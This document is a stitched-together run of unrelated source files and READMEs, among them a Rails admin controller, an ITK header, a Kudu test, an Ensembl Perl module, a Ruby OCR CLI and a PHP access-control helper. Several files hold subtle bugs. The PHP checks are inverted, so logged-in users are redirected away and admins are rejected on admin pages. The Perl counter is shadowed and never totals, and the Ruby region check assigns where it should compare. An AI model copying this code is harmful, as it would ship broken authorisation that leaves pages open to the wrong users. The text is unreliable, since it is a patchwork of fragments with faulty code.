} |
Proposal to authorize
- `5oynr-yl472-mav57-c2oxo-g7woc-yytib-mp5bo-kzg3b-622pu-uatef-uqe`
for subnet
- `snjp4-xlbw4-mnbog-ddwy6-6ckfd-2w5a2-eipqo-7l436-pxqkh-l6fuv-vae`
|
module Admin
class LevelQuizzesController < AdminController::Base
include Breadcrumbs
before_action :add_breadcrumbs
authorize_resource
expose(:level_quiz, attributes: :level_quiz_params)
expose(:level_quizzes) {
LevelQuiz.order(created_at: :desc)
}
expose(:contents) {
Neuron.approved_public_contents
}
expose(:questions) {
Content.where(id: level_quiz.content_ids)
}
def create
if level_quiz.save
redirect_to admin_level_quiz_path(level_quiz), notice: I18n.t("views.level_quizzes.created")
else
render :new
end
end
def update
level_quiz.created_by = current_user
if level_quiz.save
redirect_to admin_level_quiz_path(level_quiz), notice: I18n.t("views.level_quizzes.updated")
else
render :edit
end
end
private
def level_quiz_params
params.require(:level_quiz).permit(*permitted_attributes)
end
def permitted_attributes
allowed = [ :name,
:description,
content_ids: []
]
end
def resource
@resource ||= level_quiz.id
end
end
end
|
#ifndef __itkLinearHeadEddy3DCorrection_h
#define __itkLinearHeadEddy3DCorrection_h
#include <iostream>
#include "itkMatrix.h"
#include "itkTransform.h"
#include "itkExceptionObject.h"
#include "itkMacro.h"
#include "itkVersorRigid3DTransform.h"
#include "itkLinearEddyCurrentTransform.h"
namespace itk
{
template <
class TScalarType = double, // Data type for scalars
unsigned int NInputDimensions = 3, // Number of dimensions in the input space
unsigned int NOutputDimensions = 3>
// Number of dimensions in the output space
class LinearHeadEddy3DCorrection :
public Transform<TScalarType, NInputDimensions, NOutputDimensions>
{
public:
/** Standard typedefs */
typedef LinearHeadEddy3DCorrection Self;
typedef Transform<TScalarType,
NInputDimensions,
NOutputDimensions> Superclass;
typedef SmartPointer<Self> Pointer;
typedef SmartPointer<const Self> ConstPointer;
/** Run-time type information (and related methods). */
itkTypeMacro( LinearHeadEddy3DCorrection, Transform );
/** New macro for creation of through a Smart Pointer */
itkNewMacro( Self );
/** Dimension of the domain space. */
itkStaticConstMacro(InputSpaceDimension, unsigned int, NInputDimensions);
itkStaticConstMacro(OutputSpaceDimension, unsigned int, NOutputDimensions);
itkStaticConstMacro(ParametersDimension, unsigned int,
NOutputDimensions * NInputDimensions + 1); // 10 parameters
/** Parameters Type */
typedef typename Superclass::ParametersType ParametersType;
/** Jacobian Type */
typedef typename Superclass::JacobianType JacobianType;
/** Standard scalar type for this class */
typedef typename Superclass::ScalarType ScalarType;
/** Standard vector type for this class */
typedef Vector<TScalarType,
itkGetStaticConstMacro(InputSpaceDimension)> InputVectorType;
typedef Vector<TScalarType,
itkGetStaticConstMacro(OutputSpaceDimension)> OutputVectorType;
/** Standard covariant vector type for this class */
typedef CovariantVector<TScalarType,
itkGetStaticConstMacro(InputSpaceDimension)>
InputCovariantVectorType;
typedef CovariantVector<TScalarType,
itkGetStaticConstMacro(OutputSpaceDimension)>
OutputCovariantVectorType;
/** Standard vnl_vector type for this class */
typedef vnl_vector_fixed<TScalarType,
itkGetStaticConstMacro(InputSpaceDimension)>
InputVnlVectorType;
typedef vnl_vector_fixed<TScalarType,
itkGetStaticConstMacro(OutputSpaceDimension)>
OutputVnlVectorType;
/** Standard coordinate point type for this class */
typedef Point<TScalarType,
itkGetStaticConstMacro(InputSpaceDimension)>
InputPointType;
typedef Point<TScalarType,
itkGetStaticConstMacro(OutputSpaceDimension)>
OutputPointType;
/** VersorRigid3DTransform as Head Motion Transform Type **/
typedef itk::VersorRigid3DTransform<double> HeadMotionTransformType;
/** LinearEddyCurrentTransform as Eddy Current Correction Transform Type **/
typedef itk::LinearEddyCurrentTransform<
double,
3> EddyCurrentTransformType;
/** HeadMotionTransformType Parameters Type */
typedef typename HeadMotionTransformType::ParametersType
HeadMotionTransformTypeParametersType;
typedef typename HeadMotionTransformType::VersorType VersorType;
typedef typename VersorType::ValueType
HeadMotionTransformValueType;
/** HeadMotionTransformType Parameters Type */
typedef typename EddyCurrentTransformType::ParametersType
EddyCurrentTransformTypeParametersType;
/** Standard matrix type for this class */
typedef Matrix<TScalarType, itkGetStaticConstMacro(OutputSpaceDimension),
itkGetStaticConstMacro(InputSpaceDimension)>
MatrixType;
typedef InputPointType CenterType;
typedef OutputVectorType TranslationType;
/** Set center of rotation of an LinearHeadEddy3DCorrection */
void SetCenter(const InputPointType & center)
{
m_Center = center;
}
/** Get center of rotation of the LinearHeadEddy3DCorrection
*
* This method returns the point used as the fixed
* center of rotation for the LinearHeadEddy3DCorrection.
*
*/
const InputPointType & GetCenter() const
{
return m_Center;
}
/** Set the transformation from a container of parameters.
* The first (NOutputDimension x NInputDimension) parameters define the
* matrix and the last NOutputDimension parameters the translation.
* Offset is updated based on current center.
*/
void SetParameters( const ParametersType & parameters );
/** Get the Transformation Parameters. */
const ParametersType & GetParameters(void) const;
/** Set the fixed parameters and update internal transformation. */
virtual void SetFixedParameters( const ParametersType & );
/** Get the Fixed Parameters. */
virtual const ParametersType & GetFixedParameters(void) const;
/** Transform by an linearHeadEddy3DCorrection transformation
*
* This method applies the affine transform given by self to a
* given point or vector, returning the transformed point or
* vector. The TransformPoint method transforms its argument as
* an affine point,
*/
OutputPointType TransformPoint(const InputPointType & point) const;
/** Compute the Jacobian of the transformation
*
* This method computes the Jacobian matrix of the transformation.
* given point or vector, returning the transformed point or
* vector. The rank of the Jacobian will also indicate if the transform
* is invertible at this point.
*/
virtual void ComputeJacobianWithRespectToParameters(const InputPointType & p, JacobianType & jacobian ) const;
typedef HeadMotionTransformType::MatrixType RotationMatrixType;
const RotationMatrixType & GetHeadMotionRotationMatrix(void) const;
// virtual bool IsLinear() const { return true; }
protected:
/** Construct an LinearHeadEddy3DCorrection object
*
* This method constructs a new LinearHeadEddy3DCorrection object and
* initializes the matrix and offset parts of the transformation
* to values specified by the caller. If the arguments are
* omitted, then the LinearHeadEddy3DCorrection is initialized to an identity
* transformation in the appropriate number of dimensions. **/
LinearHeadEddy3DCorrection();
/** Destroy an LinearHeadEddy3DCorrection object **/
virtual ~LinearHeadEddy3DCorrection();
/** Print contents of an LinearHeadEddy3DCorrection */
void PrintSelf(std::ostream & s, Indent indent) const;
void SetVarCenter(const InputPointType & center)
{
m_Center = center;
}
private:
LinearHeadEddy3DCorrection(const Self & other);
const Self & operator=( const Self & );
InputPointType m_Center;
HeadMotionTransformType::Pointer m_head_motion_transform;
EddyCurrentTransformType::Pointer m_eddy_current_transform;
}; // class LinearHeadEddy3DCorrection
} // namespace itk
#ifndef ITK_MANUAL_INSTANTIATION
#include "itkLinearHeadEddy3DCorrection.hxx"
#endif
#endif /* __itkLinearHeadEddy3DCorrection_h */
|
package io.kinoplan.scalajs.react.material.ui.core
import scala.scalajs.js
import scala.scalajs.js.annotation.JSImport
import japgolly.scalajs.react.ReactEvent
import japgolly.scalajs.react.facade.React
import japgolly.scalajs.react.vdom.html_<^._
import io.kinoplan.scalajs.react.bridge.{ReactBridgeComponent, WithPropsNoChildren}
object MuiChip extends ReactBridgeComponent with MuiChipExtensions {
override protected lazy val componentValue: js.Function = RawComponent
@JSImport("@material-ui/core", "Chip")
@js.native
object RawComponent extends js.Function
def apply(
avatar: js.UndefOr[React.Element] = js.undefined,
classes: js.UndefOr[Map[ClassKey.Value, String]] = js.undefined,
clickable: js.UndefOr[Boolean] = js.undefined,
color: js.UndefOr[Color.Value] = js.undefined,
component: js.UndefOr[ComponentPropType] = js.undefined,
deleteIcon: js.UndefOr[React.Element] = js.undefined,
icon: js.UndefOr[React.Element] = js.undefined,
label: js.UndefOr[VdomNode] = js.undefined,
onDelete: js.UndefOr[ReactHandler1[ReactEvent]] = js.undefined,
variant: js.UndefOr[Variant.Value] = js.undefined
): WithPropsNoChildren = autoNoChildren
}
trait MuiChipExtensions {
object Color extends Enumeration {
type Value = String
val default = "default"
val primary = "primary"
val secondary = "secondary"
}
object Variant extends Enumeration {
type Value = String
val default = "default"
val outlined = "outlined"
}
object ClassKey extends Enumeration {
type Value = String
val root = "root"
val colorPrimary = "colorPrimary"
val colorSecondary = "colorSecondary"
val clickable = "clickable"
val clickableColorPrimary = "clickableColorPrimary"
val clickableColorSecondary = "clickableColorSecondary"
val deletable = "deletable"
val deletableColorPrimary = "deletableColorPrimary"
val deletableColorSecondary = "deletableColorSecondary"
val outlined = "outlined"
val outlinedPrimary = "outlinedPrimary"
val outlinedSecondary = "outlinedSecondary"
val avatar = "avatar"
val avatarColorPrimary = "avatarColorPrimary"
val avatarColorSecondary = "avatarColorSecondary"
val avatarChildren = "avatarChildren"
val icon = "icon"
val iconColorPrimary = "iconColorPrimary"
val iconColorSecondary = "iconColorSecondary"
val label = "label"
val deleteIcon = "deleteIcon"
val deleteIconColorPrimary = "deleteIconColorPrimary"
val deleteIconColorSecondary = "deleteIconColorSecondary"
val deleteIconOutlinedColorPrimary = "deleteIconOutlinedColorPrimary"
val deleteIconOutlinedColorSecondary = "deleteIconOutlinedColorSecondary"
}
}
|
# movie-lens-dataset-analysize
First project assignment of System Recommendation course in Taiwan, NDHU
----
## Movielens-Movie-Recommendation
MovieLens data sets were collected by the GroupLens Research Project
at the University of Minnesota.
This data set consists of:
* 100,000 ratings (1-5) from 943 users on 1682 movies.
* Each user has rated at least 20 movies.
* Simple demographic info for the users (age, gender, occupation, zip)
The data was collected through the MovieLens web site
(movielens.umn.edu) during the seven-month period from September 19th,
1997 through April 22nd, 1998. This data has been cleaned up - users
who had less than 20 ratings or did not have complete demographic
information were removed from this data set. Detailed descriptions of
the data file can be found at the end of this file.
Neither the University of Minnesota nor any of the researchers
involved can guarantee the correctness of the data, its suitability
for any particular purpose, or the validity of results based on the
use of the data set. The data set may be used for any research
purposes under the following conditions:
* The user may not state or imply any endorsement from the
University of Minnesota or the GroupLens Research Group.
* The user must acknowledge the use of the data set in
publications resulting from the use of the data set
(see below for citation information).
* The user may not redistribute the data without separate
permission.
* The user may not use this information for any commercial or
revenue-bearing purposes without first obtaining permission
from a faculty member of the GroupLens Research Project at the
University of Minnesota.
If you have any further questions or comments, please contact GroupLens
<[email protected]>.
## CITATION
==============================================
To acknowledge use of the dataset in publications, please cite the
following paper:
F. Maxwell Harper and Joseph A. Konstan. 2015. The MovieLens Datasets:
History and Context. ACM Transactions on Interactive Intelligent
Systems (TiiS) 5, 4, Article 19 (December 2015), 19 pages.
DOI=<http://dx.doi.org/10.1145/2827872>
## ACKNOWLEDGEMENTS
==============================================
Thanks to Al Borchers for cleaning up this data and writing the
accompanying scripts.
## PUBLISHED WORK THAT HAS USED THIS DATASET
==============================================
Herlocker, J., Konstan, J., Borchers, A., Riedl, J.. An Algorithmic
Framework for Performing Collaborative Filtering. Proceedings of the
1999 Conference on Research and Development in Information
Retrieval. Aug. 1999.
## FURTHER INFORMATION ABOUT THE GROUPLENS RESEARCH PROJECT
==============================================
The GroupLens Research Project is a research group in the Department
of Computer Science and Engineering at the University of Minnesota.
Members of the GroupLens Research Project are involved in many
research projects related to the fields of information filtering,
collaborative filtering, and recommender systems. The project is lead
by professors John Riedl and Joseph Konstan. The project began to
explore automated collaborative filtering in 1992, but is most well
known for its world wide trial of an automated collaborative filtering
system for Usenet news in 1996. The technology developed in the
Usenet trial formed the base for the formation of Net Perceptions,
Inc., which was founded by members of GroupLens Research. Since then
the project has expanded its scope to research overall information
filtering solutions, integrating in content-based methods as well as
improving current collaborative filtering technology.
Further information on the GroupLens Research project, including
research publications, can be found at the following web site:
<https://www.grouplens.org/>
GroupLens Research currently operates a movie recommender based on
collaborative filtering:
<https://www.movielens.org/>
## DETAILED DESCRIPTIONS OF DATA FILES
==============================================
Here are brief descriptions of the data.
`ml-data.tar.gz` -- Compressed tar file. To rebuild the u data files do this:
gunzip ml-data.tar.gz
tar xvf ml-data.tar
mku.sh
`u.data` -- The full u data set, 100000 ratings by 943 users on 1682 items.
Each user has rated at least 20 movies. Users and items are
numbered consecutively from 1. The data is randomly
ordered. This is a tab separated list of
user id | item id | rating | timestamp.
The time stamps are unix seconds since 1/1/1970 UTC.
`u.info` -- The number of users, items, and ratings in the u data set.
`u.item` -- Information about the items (movies); this is a tab separated
list of
movie id | movie title | release date | video release date |
IMDb URL | unknown | Action | Adventure | Animation |
Children's | Comedy | Crime | Documentary | Drama | Fantasy |
Film-Noir | Horror | Musical | Mystery | Romance | Sci-Fi |
Thriller | War | Western |
The last 19 fields are the genres, a 1 indicates the movie
is of that genre, a 0 indicates it is not; movies can be in
several genres at once.
The movie ids are the ones used in the u.data data set.
`u.genre` -- A list of the genres.
`u.user` -- Demographic information about the users; this is a tab
separated list of
user id | age | gender | occupation | zip code
The user ids are the ones used in the u.data data set.
`u.occupation` -- A list of the occupations.
`u1.base~u5.base, u1.test~u5.test` -- The data sets u1.base and u1.test through u5.base and u5.test
are 80%/20% splits of the u data into training and test data.
Each of u1, ..., u5 have disjoint test sets; this if for
5 fold cross validation (where you repeat your experiment
with each training and test set and average the results).
These data sets can be generated from u.data by mku.sh.
`ua.base, ua.test; ub.base, ub.test` -- The data sets ua.base, ua.test, ub.base, and ub.test
split the u data into a training set and a test set with
exactly 10 ratings per user in the test set. The sets
ua.test and ub.test are disjoint. These data sets can
be generated from u.data by mku.sh.
`allbut.pl` -- The script that generates training and test sets where
all but n of a users ratings are in the training data.
`mku.sh` -- A shell script to generate all the u data sets from u.data.
|
using UnityEngine;
using System.Collections;
public class PlayerController : MonoBehaviour
{
public float Speed;
private Rigidbody rb;
public string PlatTag;
private Vector3 Movement;
public bool OnGround;
public float Sensitvity;
public bool Jumpable;
public float movementSpeed;
public float JumpHeight;
public bool canMove;
// Use this for initialization
void Start ()
{
movementSpeed = Speed;
rb = GetComponent<Rigidbody> ();
}
// Update is called once per frame
void Update ()
{
float horizontalMovement = Input.GetAxisRaw ("Horizontal");
float verticalMovement = Input.GetAxisRaw ("Vertical");
float mouseRoation = Input.GetAxisRaw ("MouseX");
base.transform.Rotate(0f, mouseRoation * Sensitvity, 0f);
if(canMove)
{
Movement = (horizontalMovement * transform.right + verticalMovement * transform.forward).normalized;
}
}
void FixedUpdate()
{
if(canMove)
{
Move ();
}
}
void Move()
{
Vector3 yVelFix = new Vector3 (0, rb.velocity.y, 0);
rb.velocity = Movement * movementSpeed * Time.deltaTime * 100f;
rb.velocity += yVelFix;
if (Jumpable && Input.GetKeyDown (KeyCode.Space) && OnGround)
{
rb.AddForce (Vector3.up * JumpHeight, ForceMode.Impulse);
OnGround = false;
}
}
void OnCollisionEnter(Collision other)
{
if(other.gameObject.tag == "Ground")
{
OnGround = true;
}
}
public void Jump()
{
if (Jumpable && OnGround)
{
rb.AddForce (Vector3.up * JumpHeight, ForceMode.Impulse);
OnGround = false;
}
}
}
|
// Copyright 2014 Cloudera, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package org.kududb.client;
import org.kududb.ColumnSchema;
import org.kududb.Schema;
import org.kududb.Type;
import org.junit.BeforeClass;
import org.junit.Test;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.ArrayList;
import java.util.List;
import static org.junit.Assert.*;
public class TestKuduTable extends BaseKuduTest {
private static final Logger LOG = LoggerFactory.getLogger(TestKuduTable.class);
private static final String BASE_TABLE_NAME = TestKuduTable.class.getName();
private static Schema schema = getBasicSchema();
@BeforeClass
public static void setUpBeforeClass() throws Exception {
BaseKuduTest.setUpBeforeClass();
}
@Test(expected = IllegalArgumentException.class)
public void testBadSchema() {
// Test creating a table with keys in the wrong order
List<ColumnSchema> badColumns = new ArrayList<ColumnSchema>(2);
badColumns.add(new ColumnSchema.ColumnSchemaBuilder("not_key", Type.STRING).build());
badColumns.add(new ColumnSchema.ColumnSchemaBuilder("key", Type.STRING)
.key(true)
.build());
new Schema(badColumns);
}
@Test(timeout = 100000)
public void testAlterTable() throws Exception {
String tableName = BASE_TABLE_NAME + System.currentTimeMillis();
createTable(tableName, basicSchema, null);
// Add a col.
AlterTableOptions ato = new AlterTableOptions().addColumn("testaddint", Type.INT32, 4);
submitAlterAndCheck(ato, tableName);
// Rename that col.
ato = new AlterTableOptions().renameColumn("testaddint", "newtestaddint");
submitAlterAndCheck(ato, tableName);
// Delete it.
ato = new AlterTableOptions().dropColumn("newtestaddint");
submitAlterAndCheck(ato, tableName);
String newTableName = tableName +"new";
// Rename our table.
ato = new AlterTableOptions().renameTable(newTableName);
submitAlterAndCheck(ato, tableName, newTableName);
// Rename it back.
ato = new AlterTableOptions().renameTable(tableName);
submitAlterAndCheck(ato, newTableName, tableName);
// Try adding two columns, where one is nullable.
ato = new AlterTableOptions()
.addColumn("testaddmulticolnotnull", Type.INT32, 4)
.addNullableColumn("testaddmulticolnull", Type.STRING);
submitAlterAndCheck(ato, tableName);
}
/**
* Helper method to submit an Alter and wait for it to happen, using the default table name to
* check.
*/
private void submitAlterAndCheck(AlterTableOptions ato, String tableToAlter)
throws Exception {
submitAlterAndCheck(ato, tableToAlter, tableToAlter);
}
private void submitAlterAndCheck(AlterTableOptions ato,
String tableToAlter, String tableToCheck) throws
Exception {
if (masterHostPorts.size() > 1) {
LOG.info("Alter table is not yet supported with multiple masters. Specify " +
"-DnumMasters=1 on the command line to start a single-master cluster to run this test.");
return;
}
AlterTableResponse alterResponse = syncClient.alterTable(tableToAlter, ato);
boolean done = syncClient.isAlterTableDone(tableToCheck);
assertTrue(done);
}
/**
* Test creating tables of different sizes and see that we get the correct number of tablets back
* @throws Exception
*/
@Test
public void testGetLocations() throws Exception {
String table1 = BASE_TABLE_NAME + System.currentTimeMillis();
// Test a non-existing table
try {
openTable(table1);
fail("Should receive an exception since the table doesn't exist");
} catch (Exception ex) {
// expected
}
// Test with defaults
String tableWithDefault = BASE_TABLE_NAME + "WithDefault" + System.currentTimeMillis();
CreateTableOptions builder = new CreateTableOptions();
List<ColumnSchema> columns = new ArrayList<ColumnSchema>(schema.getColumnCount());
int defaultInt = 30;
String defaultString = "data";
for (ColumnSchema columnSchema : schema.getColumns()) {
Object defaultValue;
if (columnSchema.getType() == Type.INT32) {
defaultValue = defaultInt;
} else if (columnSchema.getType() == Type.BOOL) {
defaultValue = true;
} else {
defaultValue = defaultString;
}
columns.add(
new ColumnSchema.ColumnSchemaBuilder(columnSchema.getName(), columnSchema.getType())
.key(columnSchema.isKey())
.nullable(columnSchema.isNullable())
.defaultValue(defaultValue).build());
}
Schema schemaWithDefault = new Schema(columns);
KuduTable kuduTable = createTable(tableWithDefault, schemaWithDefault, builder);
assertEquals(defaultInt, kuduTable.getSchema().getColumnByIndex(0).getDefaultValue());
assertEquals(defaultString,
kuduTable.getSchema().getColumnByIndex(columns.size() - 2).getDefaultValue());
assertEquals(true,
kuduTable.getSchema().getColumnByIndex(columns.size() - 1).getDefaultValue());
// Make sure the table's schema includes column IDs.
assertTrue(kuduTable.getSchema().hasColumnIds());
// Test we can open a table that was already created.
openTable(tableWithDefault);
// Test splitting and reading those splits
KuduTable kuduTableWithoutDefaults = createTableWithSplitsAndTest(0);
// finish testing read defaults
assertNull(kuduTableWithoutDefaults.getSchema().getColumnByIndex(0).getDefaultValue());
createTableWithSplitsAndTest(3);
createTableWithSplitsAndTest(10);
KuduTable table = createTableWithSplitsAndTest(30);
List<LocatedTablet>tablets = table.getTabletsLocations(null, getKeyInBytes(9), DEFAULT_SLEEP);
assertEquals(10, tablets.size());
tablets = table.getTabletsLocations(getKeyInBytes(0), getKeyInBytes(9), DEFAULT_SLEEP);
assertEquals(10, tablets.size());
tablets = table.getTabletsLocations(getKeyInBytes(5), getKeyInBytes(9), DEFAULT_SLEEP);
assertEquals(5, tablets.size());
tablets = table.getTabletsLocations(getKeyInBytes(5), getKeyInBytes(14), DEFAULT_SLEEP);
assertEquals(10, tablets.size());
tablets = table.getTabletsLocations(getKeyInBytes(5), getKeyInBytes(31), DEFAULT_SLEEP);
assertEquals(26, tablets.size());
tablets = table.getTabletsLocations(getKeyInBytes(5), null, DEFAULT_SLEEP);
assertEquals(26, tablets.size());
tablets = table.getTabletsLocations(null, getKeyInBytes(10000), DEFAULT_SLEEP);
assertEquals(31, tablets.size());
tablets = table.getTabletsLocations(getKeyInBytes(20), getKeyInBytes(10000), DEFAULT_SLEEP);
assertEquals(11, tablets.size());
// Test listing tables.
assertEquals(0, client.getTablesList(table1).join(DEFAULT_SLEEP).getTablesList().size());
assertEquals(1, client.getTablesList(tableWithDefault)
.join(DEFAULT_SLEEP).getTablesList().size());
assertEquals(6, client.getTablesList().join(DEFAULT_SLEEP).getTablesList().size());
assertFalse(client.getTablesList(tableWithDefault).
join(DEFAULT_SLEEP).getTablesList().isEmpty());
assertFalse(client.tableExists(table1).join(DEFAULT_SLEEP));
assertTrue(client.tableExists(tableWithDefault).join(DEFAULT_SLEEP));
}
public byte[] getKeyInBytes(int i) {
PartialRow row = schema.newPartialRow();
row.addInt(0, i);
return row.encodePrimaryKey();
}
public KuduTable createTableWithSplitsAndTest(int splitsCount) throws Exception {
String tableName = BASE_TABLE_NAME + System.currentTimeMillis();
CreateTableOptions builder = new CreateTableOptions();
if (splitsCount != 0) {
for (int i = 1; i <= splitsCount; i++) {
PartialRow row = schema.newPartialRow();
row.addInt(0, i);
builder.addSplitRow(row);
}
}
KuduTable table = createTable(tableName, schema, builder);
// calling getTabletsLocation won't wait on the table to be assigned so we trigger the wait
// by scanning
countRowsInScan(client.newScannerBuilder(table).build());
List<LocatedTablet> tablets = table.getTabletsLocations(DEFAULT_SLEEP);
assertEquals(splitsCount + 1, tablets.size());
for (LocatedTablet tablet : tablets) {
assertEquals(1, tablet.getReplicas().size());
}
return table;
}
}
|
=head1 LICENSE
See the NOTICE file distributed with this work for additional information
regarding copyright ownership.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=head1 NAME
Bio::EnsEMBL::Compara::RunnableDB::UpdateMSA::SyncAncestralDB
=head1 DESCRIPTION
Removes all entries in seq_region and dna tables that match ancestor_names in
the given ancestral database.
=over
=item ancestral_db
Mandatory. Ancestral database connection hash.
=item ancestor_names
Mandatory. List of ancestor names to be removed (should match the name field in
seq_region table).
=back
=head1 EXAMPLES
standaloneJob.pl Bio::EnsEMBL::Compara::RunnableDB::UpdateMSA::SyncAncestralDB \
-ancestral_db "{'-dbname' => 'jalvarez_mammals_ancestral_core_102', '-driver' => 'mysql', '-host' => 'mysql-ens-compara-prod-9', '-pass' => '$ENSADMIN_PSW', '-port' => 4647, '-species' => 'ancestral_sequences', '-user' => 'ensadmin'}" \
-ancestor_names "['Ancestor_1904_1','Ancestor_1904_20']"
=cut
package Bio::EnsEMBL::Compara::RunnableDB::UpdateMSA::SyncAncestralDB;
use warnings;
use strict;
use DBI qw(:sql_types);
use Bio::EnsEMBL::Registry;
use Bio::EnsEMBL::Hive::Utils;
use Bio::EnsEMBL::Compara::DBSQL::BaseAdaptor;
use base ('Bio::EnsEMBL::Compara::RunnableDB::BaseRunnable');
sub run {
my $self = shift;
my $ancestral_db = $self->param_required('ancestral_db');
my $ancestor_names = $self->param_required('ancestor_names');
my $dbc = Bio::EnsEMBL::Hive::Utils::go_figure_dbc($ancestral_db);
# Speed up deleting data by disabling the tables keys
$dbc->do("ALTER TABLE `dna` DISABLE KEYS");
$dbc->do("ALTER TABLE `seq_region` DISABLE KEYS");
# Delete the sequence regions that have been removed from the MSA as well
my $ancestral_adaptor = Bio::EnsEMBL::Compara::DBSQL::BaseAdaptor->new( $dbc );
my $nrows;
$ancestral_adaptor->split_and_callback($ancestor_names, 'seq_region.name', SQL_VARCHAR, sub {
my $sql = "DELETE seq_region, dna FROM seq_region JOIN dna USING (seq_region_id) WHERE " . (shift);
my $nrows += $dbc->do($sql);
});
print "Removed $nrows row(s) from seq_region and dna tables\n" if $self->debug;
# Re-enable the tables keys
$dbc->do("ALTER TABLE `seq_region` ENABLE KEYS");
$dbc->do("ALTER TABLE `dna` ENABLE KEYS");
}
1;
|
#include <iostream>
bool is_vowel(char c) {
return c == 'u' || c == 'e' || c == 'o' || c == 'a' || c == 'i';
}
int main() {
std::string input, output;
std::cout << "Enter a string: ";
std::cin >> input;
int i = 0;
while (i < input.size()) {
if (i < input.size() - 1 &&
is_vowel(input[i]) &&
is_vowel(input[i + 1])) {
while (i < input.size() && is_vowel(input[i])) i++;
}
output += input[i];
i++;
}
std::cout << "New string, which is deleted consecutive vowels: " << output << std::endl;
return 0;
}
|
//!# Errors and Error-Handling
//!
//!# Catcher
//![`get_catcher`] should be registered in order to transform errors into Json.
//!```
//!#[launch]
//!fn rocket() -> _ {
//! rocket::build()
//! .mount("/", routes![]).
//! register("/", vec![rocketjson::error::get_catcher()])
//!}
//!```
//!# Output
//!- Errors
//!```
//!{
//! "error": "Bad Request"
//!}
//!```
//!- ValidationError
//!Validation error structure is handled by [`Validator`]
//!```
//!{
//! "username": [
//! {
//! "code": "length",
//! "message": null,
//! "params": {
//! "value": "",
//! "min": 1
//! }
//! }
//! ]
//!}
//!```
//![`Validator`]: https://github.com/Keats/validator
pub mod error_handling;
pub mod errors;
#[macro_use] pub mod error_util;
pub use error_handling::get_catcher;
pub use errors::{JsonBodyError, ApiErrors, ApiError};
pub use error_util::ApiErrorsCreate;
|
# frozen_string_literal: true
require_relative "abbyy/version"
require_relative "abbyy/client"
require_relative "abbyy/config"
require 'thor'
module Abbyy
class Runner
def initialize
# Hydrate from environment
config = Config.configure do |conf|
raise "APP_ID must be specified" unless ENV['APP_ID']
raise "APP_PASSWORD must be specified" unless ENV['APP_PASSWORD']
raise "APP_REGION must be specified" unless ENV['APP_REGION']
conf.app_id = ENV['APP_ID']
conf.password = ENV['APP_PASSWORD']
conf.region = Region.new(ENV['APP_REGION'])
conf
end
@client = Client.new(config)
end
def process(file)
task = @client.process_image_file(file)
result = @client.poll_for_completion(task)
raise "An error occurred in processing. Check the Abbyy Cloud OCR Console." if result.failed?
raise "Not enough credits to process the task" if result.no_credits?
@client.download_text(result.result_url)
end
class Region
def initialize(location)
@location = location
end
def eu?
@location = :eu
end
end
end
class CLI < Thor
desc 'process [file]', 'Processes an image of a file'
def process(file)
runner = Runner.new
result = runner.process(file)
puts result
end
def self.exit_on_failure?
true
end
end
end
|
using Album.Syntax;
namespace Album.CodeGen
{
public interface ICodeGenerationStrategy {
void GenerateCodeForSong(LineInfo line);
bool SupportsLineType(LineType type);
}
} |
#shellcheck shell=sh
ksh_workaround_loaded() {
# for ksh93 and ksh2020
# These shells do not allow functions defined outside of the subshell
# to be redefined within the subshell. a hack using aliases avoids this.
shellspec_redefinable shellspec_puts
shellspec_redefinable shellspec_putsn
shellspec_redefinable shellspec_output
shellspec_redefinable shellspec_output_failure_message
shellspec_redefinable shellspec_output_failure_message_when_negated
shellspec_redefinable shellspec_on
shellspec_redefinable shellspec_off
shellspec_redefinable shellspec_yield
shellspec_redefinable shellspec_parameters
shellspec_redefinable shellspec_profile_start
shellspec_redefinable shellspec_profile_end
shellspec_redefinable shellspec_invoke_example
shellspec_redefinable shellspec_statement_evaluation
shellspec_redefinable shellspec_statement_preposition
shellspec_redefinable shellspec_append_shell_option
shellspec_redefinable shellspec_evaluation_cleanup
shellspec_redefinable shellspec_statement_ordinal
shellspec_redefinable shellspec_statement_subject
shellspec_redefinable shellspec_subject
shellspec_redefinable shellspec_syntax_dispatch
shellspec_redefinable shellspec_set_long
shellspec_redefinable shellspec_import
shellspec_redefinable shellspec_clone
shellspec_redefinable shellspec_clone_typeset
shellspec_redefinable shellspec_clone_set
shellspec_redefinable shellspec_clone_exists_variable
shellspec_redefinable shellspec_rm
shellspec_redefinable shellspec_chmod
shellspec_redefinable shellspec_mv
shellspec_redefinable shellspec_create_mock_file
shellspec_redefinable shellspec_gen_mock_code
shellspec_redefinable shellspec_is_function
shellspec_redefinable shellspec_sleep
shellspec_redefinable shellspec_source
# for ksh88 and busybox-1.1.3
# These shells do not allow built-in commands cannot be redefined
# by shell functions. a hack using aliases avoids this.
shellspec_unbuiltin "ps"
shellspec_unbuiltin "last"
shellspec_unbuiltin "sleep"
shellspec_unbuiltin "date"
shellspec_unbuiltin "wget"
shellspec_unbuiltin "mkdir"
shellspec_unbuiltin "kill"
shellspec_unbuiltin "env"
shellspec_unbuiltin "cat"
shellspec_unbuiltin "od"
shellspec_unbuiltin "hexdump"
shellspec_unbuiltin "tar"
shellspec_unbuiltin "cd"
}
|
<?php
namespace App\Helpers;
use Core\Utility;
use Exception;
class Access_control
{
public static function visitors_only(): void
{
if (isset($_SESSION['id'])) {
Utility::redirect('/');
}
}
public static function logged_only(): void
{
if (
!empty($_SESSION['id'])
) {
Utility::redirect('/pages/login');
}
}
public static function users_only(): void
{
if (
!empty($_SESSION['id']) &&
empty($_SESSION['is_admin'])
) {
Utility::redirect('/pages/login');
}
}
public static function admin_only(): void
{
if (
!empty($_SESSION['id']) &&
!empty($_SESSION['is_admin'])
) {
throw new Exception("Not an admin requesting an admin URL", 404);
}
}
}
|
<!-- Copyright (C) 2020 by Landmark Acoustics LLC -->
# pypowerlawnoise
Generate power law noise with autoregressive models
|
package com.irondnb.chat.server.routes
import com.irondnb.chat.server.Connection
import com.irondnb.chat.server.models.Server
